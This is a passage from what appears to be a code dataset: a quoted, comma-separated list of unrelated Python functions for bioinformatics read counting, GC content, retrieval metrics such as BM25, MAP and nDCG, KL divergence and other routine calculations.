# calculate log() for p, so '+10**-8' avoid 'p==0'\n p = count / len(grams) + 10**-8 \n return p","def get_read_length(read_fn, n_read=10000):\n with GzipFile(read_fn, mode='rb') as f:\n h = SeqIO.QualityIO.FastqGeneralIterator(f)\n i = 0\n l = []\n while i < n_read:\n try:\n t = h.next()\n l.append(len(t[1]))\n i += 1\n except StopIteration:\n logger.warning(\"Requested %d reads but reached the end of the file after %d\", n_read, i)\n return int(np.round(np.mean(l)))","def mb_r(self) -> float:\n # Calculate metric\n n = self.predicted.size\n tot = 0.0\n for i in range(n):\n tot = tot + np.sum(np.abs(self.predicted - self.true[i]))\n mae_val = np.sum(np.abs(self.predicted - self.true)) / n\n mb = 1 - ((n ** 2) * mae_val / tot)\n\n return float(mb)","def modularity():\n\n q = 0.0\n for idx in range(0, node_count):\n if _tot[idx] > 0.0:\n q += (_in[idx] / m - math.pow(_tot[idx] / m, 2))\n return q","def calculate_rms(samples):\n chunk = pow(abs(samples), 2)\n return math.sqrt(chunk.mean())","def _getKramerStatistic_(seq, n, F):\n S = 0.0\n for i in range(n):\n S += (F(seq[i]) - (2 * i - 1) / (2 * n)) ** 2\n return 1 / (12 * n) + S","def calc_doc_ret_MAP():\n \n# docs_norm_scores_dicts_path = linux_base_path+\"/docs_norm_scores_dicts\"\n claim_rel_docno_dict = read_pickle(\"claim_rel_docno_dict\") #key is clm, value is a set of the relevant docno\n# nDCG_MAP_res = base_path +\"\\\\nDCG_MAP_res\\\\\"\n# docs_norms_path = base_path+\"\\\\docs_norm_scores_dicts\\\\\"\n docs_norms_path = linux_base_path+\"/docs_norm_scores_dicts/\"\n nDCG_MAP_res = linux_base_path +\"/nDCG_MAP_res/\"\n \n AP_cut_off = 1000\n k_val = 100\n p = 10\n log = open(\"calc_doc_avg_nDCG_MAP_log_k_top_docs_\"+str(k_val)+\"_at_\"+str(p),\"wb\")\n res_file = open(nDCG_MAP_res+\"doc_ret_nDCG_MAP_res_k_top_docs_\"+str(k_val)+\"_at_\"+str(p),\"wb\")\n# each_params_AVGnDCG_MAP_dict = {} #key is alpha,beta,k_docs,lambda and val is the avg nDCG and MAP across all claims together\n each_params_MAP_dict = {}\n# NDCG_AP_all_claims_all_param_values = {}\n AP_all_claims_all_param_values = {}\n best_avg_nDCG = 0\n best_MAP = 0 #across all claims in a given configuration, find the max measures\n \n# docs_norms_path = base_path+\"\\\\docs_norm_scores_dicts\\\\\"\n claims_dict = read_pickle(\"claim_dict\")\n #count the number of sentences that were retrived that are in the true data....sum for each claim, then average.\n \n \n for alpha in range(0,11,1): #change just for test!\n for beta in range(0,10,1):\n (alpha_f,beta_f) = turn_to_float([alpha,beta])\n NDCG_all_claims= {} #key is a claim, value is the nDCG\n AP_all_claims= {} \n AP_cut_off = 1000\n curr_filename = docs_norms_path+\"clm_key_ranked_list_of_docs_alpha_\"+str(alpha_f)+\"_beta_\"+str(beta_f)\n clm_key_ranked_list_of_docs_baseline = read_pickle(curr_filename) #key is qID and docid\n #need to turn it to a list of docs\n for clm in claim_list:\n try:\n# nDCG_score = utils_linux.calc_doc_emp_NDCG(curr_source,str(clm),clm_key_ranked_list_of_docs_baseline[clm],claim_rel_docno_dict[claims_dict[str(clm)]],p)\n# NDCG_all_claims[clm] = nDCG_score\n AP_score = utils_linux.calc_doc_AP_relevance(AP_cut_off,curr_source,clm,clm_key_ranked_list_of_docs_baseline[clm],claim_rel_docno_dict[claims_dict[str(clm)]])\n AP_all_claims[clm] = AP_score\n AP_all_claims_all_param_values[clm,alpha_f,beta_f,k_val] = AP_score\n except Exception as err: \n log.write('problem in calculations: in source: '+ curr_source+' in clm '+ claims_dict[str(clm)]+\" alpha:\"+str(alpha_f)+ \"beta:\"+str(beta_f)+\" \\n\" ) \n for arg in err.args:\n log.write(arg+\" \") \n log.write(\"\\n\") \n# average_NDCG = float(float(sum(NDCG_all_claims.values()))/float(len(NDCG_all_claims))) #across all claims...\n# if average_NDCG > best_avg_nDCG:\n# best_avg_nDCG = average_NDCG\n# best_avg_nDCG_configuration = (alpha_f,beta_f,k_val)\n MAP = float(float(sum(AP_all_claims.values()))/float(len(AP_all_claims)))\n if MAP > best_MAP:\n best_MAP = MAP\n best_MAP_configuration = (alpha_f,beta_f,k_val)\n each_params_MAP_dict[alpha_f,beta_f,k_val] = MAP\n utils_linux.save_pickle(nDCG_MAP_res+\"doc_ret_NDCG_all_claims_alpha_\"+str(alpha_f)+\"_beta_\"+str(beta_f)+\"_top_k_docs_\"+str(k_val)+\"_at_\"+str(p),NDCG_all_claims)\n utils_linux.save_pickle(nDCG_MAP_res+\"doc_ret_AP_all_claims_alpha_\"+str(alpha_f)+\"_beta_\"+str(beta_f)+\"_top_k_docs_\"+str(k_val),AP_all_claims)\n# res_file.write(\"alpha_\"+str(alpha_f)+\"_beta_\"+str(beta_f)+\"_top_k_docs_\"+str(k_val)+\"|\"+\"AnDCG_\"+str(average_NDCG)+\"_MAP_\"+str(MAP)+\"\\n\")\n res_file.write(\"alpha_\"+str(alpha_f)+\"_beta_\"+str(beta_f)+\"_top_k_docs_\"+str(k_val)+\"|_MAP_\"+str(MAP)+\"\\n\")\n save_pickle(nDCG_MAP_res+\"doc_ret_NDCG_AP_all_claims_all_param_values_k_top_docs_\"+str(k_val)+\"_at_\"+str(p),AP_all_claims_all_param_values)\n save_pickle(nDCG_MAP_res+\"doc_ret_each_params_AVGnDCG_MAP_dict_k_top_docs_\"+str(k_val)+\"_at_\"+str(p),each_params_MAP_dict)\n# best_row = \"best_avg_nDCG|\"+str(best_avg_nDCG)+\"|best_avg_nDCG_configuration|\"+str(best_avg_nDCG_configuration[0])+\",\"+str(best_avg_nDCG_configuration[1])+\",\"+str(best_avg_nDCG_configuration[3])+\",\"+str(best_avg_nDCG_configuration[2])+\"|\"\n best_row = \"best_MAP|\" +str(best_MAP)+\"|best_MAP_configuration|\"+str(best_MAP_configuration[0])+\",\"+str(best_MAP_configuration[1])+\",\"+str(best_MAP_configuration[2])\n res_file.write(best_row)\n res_file.close()\n log.close()","def count_allbest_mirbase_reads(bam, counts_file):\n count_ref_hits(bam, counts_file)","def est_read_len(fq, reads=100):\n if is_gz_file(fq):\n openf = gzip.open\n else:\n openf = open\n readlens = []\n with openf(fq) as f:\n try: # File less than 4*reads lines\n for _ in range(reads):\n next(f)\n readlens.append(len(next(f).strip()))\n next(f), next(f)\n except:\n pass\n return median(readlens)","def bm25_algorithm(self, query, k1 = 2, b = 0.75):\n\t\tdocsInfo = self.get_needed_inf(query)\n\t\tavgdl = sum(x['len'] for x in docsInfo) / float(len(docsInfo))\n\t\t# print(docsInfo)\n\t\tdocScore = self.count_score(docsInfo, avgdl, k1, b)\n\t\treturn docScore","def mem_per_core(self):\n return self.mem_per_node / self.cores_per_node","def calc_GC(filepath):\n liste=['small.exon.piRNA_2.fa', 'small.exon.piRNA_1.fa', 'small.exon.piRNA_3.fa']\n \n length=list(range(0,34))\n d={}\n for i in length:\n d[i]={'A':0, 'G':0, 'T':0, 'C':0}\n for i in liste:\n with open(filepath+'/'+i, 'r') as f:\n for line in f:\n #fasta header starts with >\n if line.startswith('>'):\n pass\n else:\n line_l=list(line)\n for el in range(len(line_l)):\n if line_l[el]=='A':\n d[el]['A']+=1\n elif line_l[el]=='T':\n d[el]['T']+=1\n elif line_l[el]== 'G':\n d[el]['G']+=1\n elif line_l[el]== 'C':\n d[el]['C']+=1\n\n df=pd.DataFrame.from_dict(d)\n df=df.transpose()\n df.index = np.arange(1, len(df) + 1)\n \n\n df['A [%]']=df['A']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100\n df['G [%]']=df['G']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100\n df['T [%]']=df['T']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100\n df['C [%]']=df['C']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100","def get_block_size(n, k):\r\n l, r = get_position(k)\r\n c, p, q = get_level_profile(n, l)\r\n return c + 1 if r < q else c","def calc_std_nDCG_AP_corpus_smoothing(p):\n \n# nDCG_MAP_res = base_path +\"\\\\nDCG_MAP_res\\\\\"\n measures_res = linux_base_path+ \"/measures_res\"+setup+\"/\"\n k_val = 50\n NDCG_AP_all_claims_all_param_values = read_pickle(measures_res+\"NDCG_AP_prec_at_k_all_claims_all_param_values_top_k_docs_\"+str(k_val)+\"_at_\"+str(p)) #key:clm,alpha_f,beta_f,k_val,lambda_f val nDCG_score,AP_score\n each_params_AVGnDCG_MAP_dict = read_pickle(measures_res+\"each_params_AVGnDCG_MAP_prec_at_k_dict_top_k_docs_\"+str(k_val)+\"_at_\"+str(p)) #key:alpha_f,beta_f,k_val,lambda_f\n nDCG_MAP_std = {} #key is a configuration quadruplet, value is the std of the measures\n \n \n \n# for k_val in top_k_docs_values:\n for alpha in range(0,11,1): #change just for test!\n for beta in range(0,10,1):\n for lambda_int in range(0,11,1):\n lambda_f = turn_to_float([lambda_int])\n (alpha_f,beta_f) = turn_to_float([alpha,beta])\n curr_AP_var = 0\n curr_nDCG_var = 0\n curr_prec_at_5_var = 0\n curr_prec_at_10_var = 0\n for clm in claim_list:\n curr_nDCG_var += (NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][0] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][0])**2\n curr_AP_var += (NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][1] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][1])**2\n curr_prec_at_5_var += (NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][2] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][2])**2\n curr_prec_at_10_var +=(NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][3] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][3])**2\n curr_nDCG_std = float(float(math.sqrt(curr_nDCG_var))/float(len(claim_list)))\n curr_AP_std = float(float(math.sqrt(curr_AP_var))/float(len(claim_list)))\n curr_prec_at_5_std = float(float(math.sqrt(curr_prec_at_5_var))/float(len(claim_list)))\n curr_prec_at_10_std =float(float(math.sqrt(curr_prec_at_10_var))/float(len(claim_list)))\n nDCG_MAP_std[alpha_f,beta_f,k_val,lambda_f] = (curr_nDCG_std,curr_AP_std,curr_prec_at_5_std,curr_prec_at_10_std)\n save_pickle(measures_res+\"nDCG_MAP_prec_at_k_std_for_each_configuration_k_top_docs_\"+str(k_val)+\"_at_\"+str(p), nDCG_MAP_std)","def micros() -> int:","def print_bm25_field_length_info(path_doc_length_info_bm25f):\n\n doc_length_info = load_pickle(path_doc_length_info_bm25f)\n \n n_terms_author_total = 0\n n_terms_sections_total = 0\n n_terms_title_total = 0\n n_terms_abstract_total = 0\n for cord_uid in doc_length_info.keys():\n \n info = doc_length_info[cord_uid]\n \n n_terms_author_total += info['author']\n n_terms_sections_total += info['sections']\n n_terms_title_total += info['title']\n n_terms_abstract_total += info['abstract']\n \n n_terms_total = n_terms_author_total + n_terms_sections_total + n_terms_title_total + n_terms_abstract_total\n \n print(len(doc_length_info))\n print(f\"n_terms_author_total = {n_terms_author_total}, average={n_terms_author_total/len(doc_length_info)}\")\n print(f\"n_terms_sections_total= {n_terms_sections_total}, average={n_terms_sections_total/len(doc_length_info)}\")\n print(f\"n_terms_title_total = {n_terms_title_total}, average={n_terms_title_total/len(doc_length_info)}\")\n print(f\"n_terms_abstract_total= {n_terms_abstract_total}, average={n_terms_abstract_total/len(doc_length_info)}\")\n print(f\"n_terms_total = {n_terms_total}, average={n_terms_total/len(doc_length_info)}\")","def calc_precision_map(self, output_filenm=\"\"):\n logger.info(\"Calculating precision map\")\n success_map, total_map = {}, {} # map from query r to a dict of path and ratio of success\n # not sure why I am getting RuntimeError: dictionary changed size during iteration.\n train_map = [((e1, r), e2_list) for ((e1, r), e2_list) in self.train_map.items()]\n for ((e1, r), e2_list) in tqdm(train_map):\n c = self.args.cluster_assignments[self.entity_vocab[e1]]\n if c not in success_map:\n success_map[c] = {}\n if c not in total_map:\n total_map[c] = {}\n if r not in success_map[c]:\n success_map[c][r] = {}\n if r not in total_map[c]:\n total_map[c][r] = {}\n paths_for_this_relation = self.args.path_prior_map_per_relation[c][r]\n for p_ctr, (path, _) in enumerate(paths_for_this_relation.items()):\n ans = self.execute_one_program(e1, path, depth=0, max_branch=100)\n if len(ans) == 0:\n continue\n # execute the path get answer\n if path not in success_map[c][r]:\n success_map[c][r][path] = 0\n if path not in total_map[c][r]:\n total_map[c][r][path] = 0\n for a in ans:\n if a in e2_list:\n success_map[c][r][path] += 1\n total_map[c][r][path] += 1\n\n precision_map = {}\n for c, _ in success_map.items():\n for r, _ in success_map[c].items():\n if c not in precision_map:\n precision_map[c] = {}\n if r not in precision_map[c]:\n precision_map[c][r] = {}\n for path, s_c in success_map[c][r].items():\n precision_map[c][r][path] = s_c / total_map[c][r][path]\n\n if not output_filenm:\n dir_name = os.path.join(args.data_dir, \"data\", self.args.dataset_name, \"linkage={}\".format(self.args.linkage))\n output_filenm = os.path.join(dir_name, \"precision_map.pkl\")\n logger.info(\"Dumping precision map at {}\".format(output_filenm))\n with open(output_filenm, \"wb\") as fout:\n pickle.dump(precision_map, fout)\n logger.info(\"Done...\")","def count_single_mirbase_reads(bam, counts_file):\n count_ref_hits(bam, counts_file)","def gc_content(seq):\n result = float(str(seq).count('G') + str(seq).count('C'))/len(seq) *100\n return result","def test_count_reads_in_region_total(self):\n self.c.skipZeros = False\n self.c.stepSize = 200\n self.c.binLength = 200\n resp, _ = self.c.count_reads_in_region(self.chrom, 0, 200)\n nt.assert_equal(resp, np.array([[2, 4.]]))","def single_reads(reads_pos):\n #TODO: use more complicated estimator?\n return (len(reads_pos) + 1) / (len(reads_pos) - 1) * (reads_pos[-1] - reads_pos[0])","def ComputeNrb(self):\r\n pass","def get_grating_lines_per_mm(self):\r\n msg = struct.pack('>2B', 56, 2)\r\n response = self.query(msg)\r\n return struct.unpack('>H', response[:2])[0]","def b3_precision(system_output, gold_standard, sys_el2kbid, gold_el2kbid):\n el_pre_sums = 0.0\n num_elements = 0\n \n for kb_id in system_output.keys():\n mention_set = system_output[kb_id]\n\n num_elements += len(mention_set)\n \n for el_a in mention_set:\n num_correct = 0\n \n for el_b in mention_set:\n correct = b3_correctness(el_a, el_b, sys_el2kbid, gold_el2kbid)\n if(correct): num_correct +=1\n\n el_pre = num_correct / float(len(mention_set))\n \n el_pre_sums += el_pre\n \n #print \"\\t%s\\t%.2f\" % (el_a, el_pre)\n\n P = el_pre_sums / float(num_elements)\n \n return P","def cr_statistics(tecs):\n\n min_cr = 1000000\n max_cr = 0\n avg = 0\n\n for tec in tecs:\n cr = heuristics.compression_ratio(tec)\n if cr < min_cr:\n min_cr = cr\n if cr > max_cr:\n max_cr = cr\n\n avg += cr\n\n avg /= len(tecs)\n\n return min_cr, max_cr, avg","def workersNeeded(k, m):\n # formula: k/m\n from math import ceil\n return ceil(float(k)/float(m))","def get_k(self, n, m):\n k = m/n * log(2)\n return int(k)","def mw_dbm(mw):\n return 10*np.log10(mw/1)","def _compute_seqs_per_file(self,\r\n input_fasta_fp,\r\n num_jobs_to_start):\r\n # count the number of sequences in the fasta file\r\n num_input_seqs = count_seqs(input_fasta_fp)[0]\r\n\r\n # divide the number of sequences by the number of jobs to start\r\n result = num_input_seqs / num_jobs_to_start\r\n\r\n # if we don't have a perfect split, round up\r\n if result % 1 != 0:\r\n result += 1\r\n\r\n # return the result as an integer\r\n return int(result)","def test_RUMI():\r\n\r\n start = 11051\r\n end = 11902\r\n read_poems(start, end)","def langmuir_occ(p, k):\n\n intermediate = k * p\n\n occupancy = intermediate / (intermediate + 1)\n\n return occupancy","def count_kmers(file_name, k, verbose=False):\n if verbose:\n start = time.time()\n print('Counting kmers in {}'.format(file_name))\n total_kmers = 0\n with open(file_name, 'r') as f:\n line_num = 0\n for line in f:\n if line_num % 4 == 1: # dna sequence\n total_kmers += len(line) - k # eliminate new-line\n line_num += 1\n if verbose:\n end = time.time()\n print('{} kmers are counted in {:.2f} seconds'.format(\n total_kmers, end - start))\n return total_kmers","def test_count_total_reads(self):\n \n bam = pybedtools.BedTool(clipper.test_file(\"allup_test.bam\"))\n gene_dfn = pybedtools.BedTool(clipper.test_file(\"hg19_genes.bed\"))\n \n result = count_total_reads(bam, gene_dfn)\n \n self.assertEqual(result, 2086)","def get_bin_time(fichier):\n n = 0 \n maxi = 0.0\n mini = 90000000000000\n with open(fichier, \"r+\") as f1:\n file_content = csv.DictReader(f1)\n for row in file_content:\n n +=1\n if float(row[\"lang\"])> maxi:\n maxi = float(row[\"lang\"])\n if float(row[\"lang\"])< mini:\n mini = float(row[\"lang\"])\n return ((maxi - mini)/n, mini, maxi, n)","def getReadCounts( counts, htList ):\n for ht in htList:\n htseqName = ht\n \n # calculate the total number of aligned reads \n totalReads = 0\n alignedReads = 0\n \n # sum read counts\n with open(htseqName,'r') as htseq:\n for x in htseq:\n x = x.strip() # get rid of that pesky newline\n row = x.split('\\t')\n totalReads += float(row[1])\n if x.startswith('__'):\n continue\n else:\n alignedReads += float(row[1])\n \n percentAligned = (alignedReads/totalReads) * 100\n counts[ht].append(totalReads)\n counts[ht].append(alignedReads)\n counts[ht].append(percentAligned)","def get_load_factor(self):\n # Your code here\n return self.count/len(self.data)","def readlen_cnts(store, filter_srrs=None, keep_srrs=None):\n df = store['prealn/workflow/fastq'].copy()\n df.reset_index(inplace=True)\n df = remove_rows(df, 'srr', filter_srrs)\n df = keep_rows(df, 'srr', keep_srrs)\n df['len'] = df[['avgLen_R1', 'avgLen_R2']].max(axis=1)\n\n return df.len.min(), df.len.median(), df.len.mode().iloc[0], df.len.max()","def recallAndPrecision(self,train = None,test = None,k = 8,nitem = 10):\n train = train or self.traindata\n test = test or self.testdata\n hit = 0\n recall = 0\n precision = 0\n for user in train.keys():\n tu = test.get(user,{})\n rank = self.recommend(user, train = train,k = k,nitem = nitem) \n for item,_ in rank.items():\n if item in tu:\n hit += 1\n recall += len(tu)\n precision += nitem\n return (hit / (recall * 1.0),hit / (precision * 1.0))","def user_read (mcache, direc) :\n assert os.path.isdir(direc)\n assert type(mcache) == list\n\n ucache = {}\n\n trat = 0\n tcnt = 0\n\n # iterate through every files in the directory\n for f in os.listdir(direc):\n # open each file in read only mode \n mrating = open(direc+\"/\"+f, 'r')\n # convert the first line to int to represent to movie ID\n mid = int(mrating.readline().replace(':',''))\n\n # iterate through all lines in the file\n for line in mrating:\n lst = line.split(',')\n\n uid = int(lst[0])\n rating = int(lst[1])\n\n mcache[mid-1][0]+=rating\n mcache[mid-1][1]+=1\n\n if not uid in ucache:\n ucache[uid] = [0.0,0.0]\n\n ucache[uid][0]+=rating\n ucache[uid][1]+=1\n\n trat += rating\n tcnt += 1\n\n assert len(ucache) <= 480189\n return (ucache, trat/tcnt)","def bigram_likelihood_ratio(n_12, n_1, n_2, n):\n n_o2 = max(n_2 - n_12, 0)\n n_1o = max(n_1 - n_12, 0)\n n_oo = max(n - n_12 - n_1o - n_o2, 0)\n contingency = [n_12, n_o2, n_1o, n_oo]\n if sum(contingency) == 0:\n # the database is empty, so relevance == 0 \n return 0.0\n for value in contingency:\n assert value >= 0\n expected = _expected_values(contingency)\n\n # the magic formula from NLTK\n likelihood = (2 * sum(obs * math.log(float(obs) / (exp + _SMALL) + _SMALL)\n for obs, exp in zip(contingency, expected)))\n return likelihood","def calc_tpm(self, ensg_id, count):\n gene_len = len(set(self.gtf.gene_coords[ensg_id])) /1000.0\n return float((count/gene_len)/(self.rpk_total/1000000.0))","def get_max_readings( self ):\n return 2500","def total_number():\r\n total_number = 0\r\n file_read = read_file()\r\n for key in file_read:\r\n total_number = total_number + len(file_read[key])\r\n return total_number","def get_Kn(self, T):\n\n mfp = self.get_mfp(T)\n\n self.Kn = mfp / self.Kn_length\n\n return self.Kn","def modularity_gain(n, c, dnodecomm):\n\n totc = _tot[c]\n degc = k[n]\n return dnodecomm - (totc * degc) / m","def total_sdram_requirements(self):","def get_total_rows(max_passes: int) -> int:\n # For each of `max_subreads`, we have three pieces of information: bases, PW,\n # and IP. We also have four rows for SN, and one for strand.\n # The information is structured as follows:\n # Bases: (0, params.max_passes - 1) represent bases.\n # PW: rows params.max_passes to (params.max_passes * 2 - 1)\n # IP: rows (params.max_passes * 2) to (params.max_passes * 3 - 1)\n # Strand: rows (params.max_passes * 3) to (params.max_passes * 4)\n # CCS+SN: rows (params.max_passes * 4 + 1) to (params.max_passes * 4 + 5)\n # The last five rows are CCS sequence (1), and SN (4).\n return (max_passes * 4) + 5","def total_read_throughput(self):\n total = self.read_throughput\n for index in six.itervalues(self.global_indexes):\n total += index.read_throughput\n return total","def get_reading_length(self):\n body_text_length= len(self.body_text.split(' ')) # split the body_text into words (using whitespace as the delimiter) and count how many words there are \n reading_length = 'Reading time: ' + str(round(body_text_length / 200)) + ' mins' #apparently, studies have shown that 238 words per minute is the average reading speed, but I'll round it down to 200\n #using round() to round the number to an integer, discarding any decimal digits\n\n return reading_length","def calcBLratio(seqidA, seqidB):\n \n likes = []\n nparams = []\n \n setfiles = ('set%03d' % seqidA, 'set%03d' % seqidB, 'set%03d%03d' \\\n % (seqidA, seqidB))\n \n for set in setfiles:\n lnlfile = open('%s.lnl' % set)\n likes.append(float(lnlfile.readline().strip()))\n lnlfile.close()\n \n paramfile = open('%s.prm' % set)\n nparams.append(int(paramfile.readline().strip()))\n paramfile.close()\n \n # lnL^A + lnL^B - lnL^{AB}\n result = likes[0] + likes[1] - likes[2]\n df = nparams[0] + nparams[1] - nparams[2]\n \n # this should only happen in there are 2 copies of an alignment, I think\n if result <= 0:\n sys.stderr.write('dlnL is less than or equal to 0! Converting to 1E-6.\\n')\n result = 1e-6\n \n return (result, df)","def compute_kl(reference_corpus,\n translation_corpus,\n max_order=4,\n freq_thre=100,\n workers=20,\n verbose=False):\n results = {}\n itertool = tqdm.tqdm if verbose else lambda x, *args, **kw: x\n\n for order in range(1, max_order + 1):\n with Pool(processes=workers) as pool:\n chunksize = len(reference_corpus)//(3*workers)\n chunkedexamples = [reference_corpus[i:i + chunksize]\n for i in range(0, len(reference_corpus), chunksize)]\n ngram_counts = list(itertool(pool.imap(partial(_get_ngrams, order=order), chunkedexamples),\\\n total=len(chunkedexamples), \\\n desc=\"Calculating {}-gram for ref data\".format(order)))\n merged_ref_ngram_counts = collections.Counter()\n for c in ngram_counts:\n merged_ref_ngram_counts += c\n with Pool(processes=workers) as pool:\n chunksize = len(translation_corpus)//(10*workers)\n chunkedexamples = [translation_corpus[i:i + chunksize]\n for i in range(0, len(translation_corpus), chunksize)]\n ngram_counts = list(itertool(pool.imap(partial(_get_ngrams, order=order), chunkedexamples),\\\n total=len(chunkedexamples), \\\n desc=\"Calculating {}-gram for trans data\".format(order)))\n merged_trans_ngram_counts = collections.Counter()\n for c in ngram_counts:\n merged_trans_ngram_counts += c\n\n merged_ref_ngram_counts = \\\n collections.Counter({k: c for k, c in merged_ref_ngram_counts.items() if c >= freq_thre})\n ref_total_nums = sum([c for k, c in merged_ref_ngram_counts.items()])\n # We do not remove items from merged_trans_ngram_counts to prevent infite issue\n trans_total_nums = sum([c for k, c in merged_trans_ngram_counts.items() if c >= freq_thre])\n\n kl = 0\n # eps: smoothing parameter\n eps = 1e-10\n for k, c in merged_ref_ngram_counts.items():\n _c = merged_trans_ngram_counts.get(k, 0)\n\n # apply smoothing\n c += eps\n _c += eps\n\n kl += - c/ref_total_nums * math.log((_c/c)*(ref_total_nums/trans_total_nums))\n\n results[\"{}-gram\".format(order)] = kl\n\n return results","def get_utilization(self):\n child_prefixes = Prefix.objects.filter(prefix__net_contained_or_equal=str(self.prefix))\n # Remove overlapping prefixes from list of children\n networks = cidr_merge([c.prefix for c in child_prefixes])\n children_size = float(0)\n for p in networks:\n children_size += p.size\n return int(children_size / self.prefix.size * 100)","def MICRO(reported, table_report, recount, W, L):\n micro = 0\n for pw in W:\n for pl in L:\n if pw != pl:\n x = d(L[pl]) * e(pw, table_report, recount) - d(W[pw]) * e(pl, table_report, recount)\n y = (d(L[pl]) * reported[pw] - d(W[pw]) * reported[pl])\n micro = max(micro, x / y)\n\n return micro","def getBaselineScoreForSiblings(self, topNode):\n base = 100000\n numberOfParagraphs = 0\n scoreOfParagraphs = 0\n nodesToCheck = Parser.getElementsByTag(topNode, tag='p')\n \n for node in nodesToCheck:\n nodeText = Parser.getText(node)\n wordStats = StopWords().getStopWordCount(nodeText)\n highLinkDensity = self.isHighLinkDensity(node)\n if wordStats.getStopWordCount() > 2 and not highLinkDensity:\n numberOfParagraphs += 1\n scoreOfParagraphs += wordStats.getStopWordCount()\n \n if numberOfParagraphs > 0:\n base = scoreOfParagraphs / numberOfParagraphs\n \n return base","def bulk_modulus():\n\n return 10000.0","def ultratio(chrlength, uniqueratio, chrtotalreads, frcount):\n ultratio = chrlength * uniqueratio / (chrtotalreads - frcount)\n\n return ultratio","def total_millimetres(self):\n raise NotImplementedError(\"The total length property must be overriden in derived classes.\")","def load_factor(self):\n return self.__num_records / self.__size","def overall_reduction(self):\n return 84","def read_core_temp(self) -> float:","def project_length_in_ns(projnum):\n\n w = {}\n\n # 7 fragment hits\n w[14346] = 1.0 # RL\n w[14348] = 10.0 # L\n\n # 100 ligands\n w[14337] = 1.0 # RL\n w[14339] = 10.0 # L\n\n # 72 series\n for i in range(14600, 14613):\n w[i] = 1.0 # RL\n for i in range(14349, 14362):\n w[i] = 10.0 # L\n\n # Moonshot 03-23\n w[14363] = 1.0 # RL\n w[14364] = 10.0 # L\n\n # Moonshot 03-26\n for i in range(14365, 14369):\n w[i] = 1.0 # RL\n for i in range(14369, 14373):\n w[i] = 10.0 # L\n\n # MLTN\n w[14373] = 1.0 # RL\n w[14374] = 10.0 # L\n\n # Moonshot 03-31\n w[14375] = 1.0 # RL\n w[14376] = 10.0 # L\n\n # Moonshot 04-06\n w[14377] = 1.0 # RL\n w[14378] = 10.0 # L\n\n # Moonshot 04-06-2\n w[14379] = 1.0 # RL\n w[14380] = 10.0 # L\n\n # Moonshot MSBR\n w[14381] = 1.0 # RL\n w[14382] = 1.0 # RL\n w[14383] = 1.0 # RL\n w[14384] = 10.0 # L\n w[14385] = 10.0 # L\n w[14386] = 10.0 # L\n\n # AGG\n for i in range(14613, 14628):\n w[i] = 1.0 # RL\n for i in range(14630, 14644):\n w[i] = 10.0 # L\n\n # harmonic potential testing\n w[14398] = 1.0 # RL\n w[14399] = 1.0 # RL\n\n for i in range(14700, 14900):\n w[i] = 1.0 # RL\n\n return w[projnum]","def test_rabin_partition(strlength=3e5,iter=20):\n from tqdm import tqdm\n from random import choice\n from string import ascii_lowercase\n longstr_rand = ''.join([choice(ascii_lowercase) for _ in xrange(int(strlength))])\n\n print(\"*rabin_partition* test completed.\")\n print(\"Mac Air baseline is 350 pages/second throughput, i.e. 3.5 iterations per second given a 100 page document\")\n for _ in tqdm(xrange(iter)): \n rabin_partition(longstr_rand)\n return","def load_factor(self):\n return round(self._n / self._size, 2)","def get_recall(self,common_len,RTSummary):\n if len(RTSummary)<=0:\n return 0.0\n\n return common_len/len(RTSummary)","def REC_5s():\n return 5","def _compute_tqdm_miniters(byte_size: int) -> float:\n return min(byte_size / 100.0, 1.0)","def log_prob_of_file(filepath, model):\n vocab = set(counts_un.keys())\n tot = 0\n count = 0\n prev_prev = \"<s>\\n\"\n prev = \"<s>\\n\"\n with open(filepath) as f:\n for line in f:\n count += 2\n line = line.strip()+\"\\n\"\n tri_prob = model.get_trigram_prob(prev_prev, prev, line)\n tot += math.log(tri_prob)\n prev_prev = prev\n prev = line \n for line in [\"</s>\\n\", \"</s>\\n\"]:\n tri_prob = model.get_trigram_prob(prev_prev, prev, line)\n tot += math.log(tri_prob)\n prev_prev = prev\n prev = line \n return tot, count","def processNT(organism, chain, nuc, quals):\n\n ch = chain.lower()\n\n quals = np.array(quals.split('.')).astype(int)\n res = parse_unpaired_dna_sequence_blastn(organism, chain, nuc, info='',\n nocleanup=False, hide_nucseq=False,\n extended_cdr3=True,\n return_all_good_hits=True,\n max_bit_score_delta_for_good_hits=50)\n genes,evalues,status,all_good_hits_with_scores = res\n labels = ['v%s_gene','v%s_rep', 'v%s_mm', 'j%s_gene', 'j%s_rep', 'j%s_mm', 'cdr3%s_plus']\n tmp = {g:v for g,v in zip([lab % ch for lab in labels], genes)}\n tmp.update({'%s_evalue' % k.lower():evalues[k][0] for k in evalues.keys()})\n tmp.update({'%s_bitscore_gap' % k.lower():evalues[k][1] for k in evalues.keys()})\n\n tmp['%s_status' % ch] = 'OK' if not status else status\n tmp['%s_good_hits' % ch] = all_good_hits_with_scores\n\n tmp['cdr3%s' % ch],tmp['cdr3%s_nucseq' % ch] = tmp['cdr3%s_plus' % ch].split('-')\n tmp['cdr3%s_quals' % ch] = get_qualstring( tmp['cdr3%s_plus' % ch], nuc, quals )\n tmp['v%s_mismatches' % ch] = tmp['v%s_mm' % ch][0]\n tmp['j%s_mismatches' % ch] = tmp['j%s_mm' % ch][0]\n tmp['v%s_alignlen' % ch] = np.sum(tmp['v%s_mm' % ch])\n tmp['j%s_alignlen' % ch] = np.sum(tmp['j%s_mm' % ch])\n\n hits = tmp['%s_good_hits' % ch]\n if hits and len(hits) == 2 and hits[0] and hits[1]:\n tmp['v%s_blast_hits' % ch] = ';'.join( '{}:{}'.format(x[0],x[1]) for x in hits[0] )\n tmp['j%s_blast_hits' % ch] = ';'.join( 